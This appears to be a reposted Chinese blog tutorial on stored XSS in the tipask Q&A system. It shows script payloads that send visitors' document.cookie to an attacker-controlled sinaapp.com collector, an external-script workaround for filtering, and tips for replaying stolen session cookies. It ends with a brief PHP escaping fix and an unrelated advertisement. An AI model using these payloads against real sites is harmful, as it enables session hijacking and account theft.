[web安全]第一弹:利用xss注入获取cookie - 企业简介 - 长春市隆兴伟业物流有限公司
现在的位置: 主页 > 企业简介 > 文章正文
[web安全]第一弹:利用xss注入获取cookie
作者:长春市隆兴伟业物流有限公司 来源:www.lxwywl.com 发布时间:2017-09-02 11:43:05
[web安全]第一弹:利用xss注入获取cookie 首先一定要先来吐槽一下tipask系统。这是一枚开源的类似百度知道的系统,但是漏洞多多,最基本的XSS注入都无法防御。

言归正传:

【准备1】 cookie接收服务器。 平时喜欢用sae,所以在sae上写了一个get方法传值的页面,获取到的数据存储进数据库。

数据表结构很简单

其中time,ip,pre_url都可以没有。

页面代码如下

实际应用像下面这样:

访问链接:http://xxx.sinaapp.com/?cookie=xxxx;

xxxx的内容就会自动存入数据库。

【准备2】利用xss漏洞截取用户的cookie

输入内容

<script>window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie</script>

提交后发现没反应,审查元素:

<script>window.location.href='http://xxx.sinaapp.com/cookie/?cookie=' document.cookie</script>

发现代码被浏览器处理过了:把加号给过滤掉了。怎么处理呢?

答案是:引入外部js文件!!

还是在刚才的文本框输入:

<script src='http://xxx.sinaapp.com/js/test.js'></script>

js文件内容:window.location.href='http://xxx.sinaapp.com/cookie/?cookie='+document.cookie;

【Go!】

当用户访问被XSS注入的页面时,会自动引入test.js文件,这个文件里包含的js语句,会读取页面的cookie,然后访问一个get传值的页面,cookie就会自动存储到数据库中了~

【获得cookie之后】

win7下的cookie存储方式比较特别,xxxx.txt,根本分不清哪个是哪个,于是楼主给chrome浏览器装了个插件,EditThisCookie,可以在浏览器上对cookie进行读取,删除,修改操作。

tipask用了thinkphp框架,ThinkPHP保存cookie时有两个关键值,tp_auth和tp_sid,专题系统,更新了这两个值就能获取登录状态了。但是,咳咳,ThinkPHP框架把tp_auth的值设置了和IP绑定,所以即使你拿到cookie,如果cookie不匹配,也P用不中~但是,咳咳咳,此处获取的cookie可不只tipask系统的cookie,而是tipask系统所在IP地址所有应用的cookie..比如说,xxx.xxx.edu.cn对应是dz论坛,xxx.xxx.edu.cn/zhidao对应的tipask,那么获取的cookie既有tipask的,也有dz论坛的。所以~

【xss注入初步解决方案】

1. 防止xss注入的原理,就是对用户输入的富文本进行html encode

PHP环境下处理函数如下:

复制代码

function re_xss($list)

{

if(is_array($list))

foreach ($list as $key => $value)

{

foreach ($value as $keys => $values)

{

$list[$key][$keys]=htmlspecialchars($values);

}

}

else

$list=htmlspecialchars($list);

return $list;

}

复制代码

2. 防止cookie被窃取的原理,就是像ThinkPHP,把cookie和IP地址绑定,或者和其他唯一值绑定。

企业建站2800元起,携手武汉肥猫科技,做一个有见地的颜值派!更多优惠请戳:神农架SEO http://shennongjia.raoyu.net


  • 上一篇:关于python的变量作用域 - 2778085001
  • 下一篇:最后一页
  • 
    COPYRIGHT © 2015 长春市隆兴伟业物流有限公司 ALL RIGHTS RESERVED.
    本站所有原创信息,未经许可请勿任意转载或复制使用 网站地图 技术支持:肥猫科技
    精彩专题:网站建设
    购买本站友情链接、项目合作请联系客服QQ:2500-38-100